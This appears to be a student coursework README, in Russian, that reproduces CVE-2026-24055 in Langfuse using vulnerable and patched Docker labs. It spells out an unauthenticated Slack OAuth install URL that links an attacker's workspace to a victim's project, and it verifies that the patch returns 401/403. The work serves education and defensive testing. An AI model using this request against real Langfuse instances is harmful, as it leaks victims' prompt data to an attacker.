
Образовательная демонстрация эксплуатации CVE-2026-24055, направленная на неаутентифицированную установку Slack OAuth в Langfuse, с уязвимыми и исправленными средами Docker для практического тестирования безопасности.
Курсовая работа по безопасности веб-приложений — Группа 06, класс NT213.Q21.ANTT
Проект воспроизводит реальную опубликованную уязвимость (CVE-2026-24055) на платформе Langfuse — OAuth-эндпоинт, позволяющий злоумышленнику захватить подключение Slack workspace к чужому проекту без необходимости входа в систему.
Проект включает: развёртывание Docker-окружения, имитирующего как уязвимую версию, так и исправленную, пошаговую эксплуатацию и проверку корректной работы патча. Тем самым отрабатывается анализ уязвимости контроля доступа в потоке OAuth — навык, напрямую применимый при разработке или аудите систем веб-аутентификации.
Демонстрируемые навыки: анализ потока OAuth2, Docker, чтение security advisory, написание технического отчёта, тестирование безопасности (security testing).
CVE-2026-24055 — уязвимость Improper Access Control в Langfuse с версии 3.89.0 по 3.146.0.
Эндпоинт /api/public/slack/install не требует аутентификации, что позволяет атакующему привязать свой Slack workspace к любому проекту, зная лишь projectId. Когда жертва создаёт автоматизацию для отправки уведомлений в Slack, всё содержимое промпта утекает в workspace атакующего.
| Свойство | Детали |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| Уязвимые версии | Langfuse 3.89.0 – 3.146.0 |
| Исправленная версия | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| Инструмент | Минимальная версия |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | любая |
| RAM | 8 GB |
Slack API позволяет использовать
http://localhost:3000в качестве Redirect URL.
http://localhost:3000
cd vulnerable
cp .env.example .env
Откройте файл .env, заполните следующие значения:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
Проверьте готовность контейнеров:
docker compose ps
Подождите примерно 30–60 секунд. Все контейнеры должны находиться в состоянии
Up (healthy).
Перейдите на http://localhost:3000:
Аккаунт жертвы
Аккаунт атакующего
В браузере атакующего (без входа в Langfuse) перейдите по адресу:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
Происходит следующее:
Войдите под аккаунтом жертвы:
Prompt created / updated / deletedSlack → выберите каналcd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# Заполните значения так же, как в разделе vulnerable
docker compose up -d
Попытка без входа в систему:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
Ожидаемый результат — HTTP 401:
{ "error": "Authentication required" }
Попытка входа под атакующим с projectId жертвы:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
Ожидаемый результат — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
Уязвимость полностью устранена.
docker compose down
Если нужно удалить все данные (volumes):
docker compose down -v
cve-2026-24055/
├── README.md ← этот файл
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0 (уязвимая)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0 (исправленная)
└── .env.example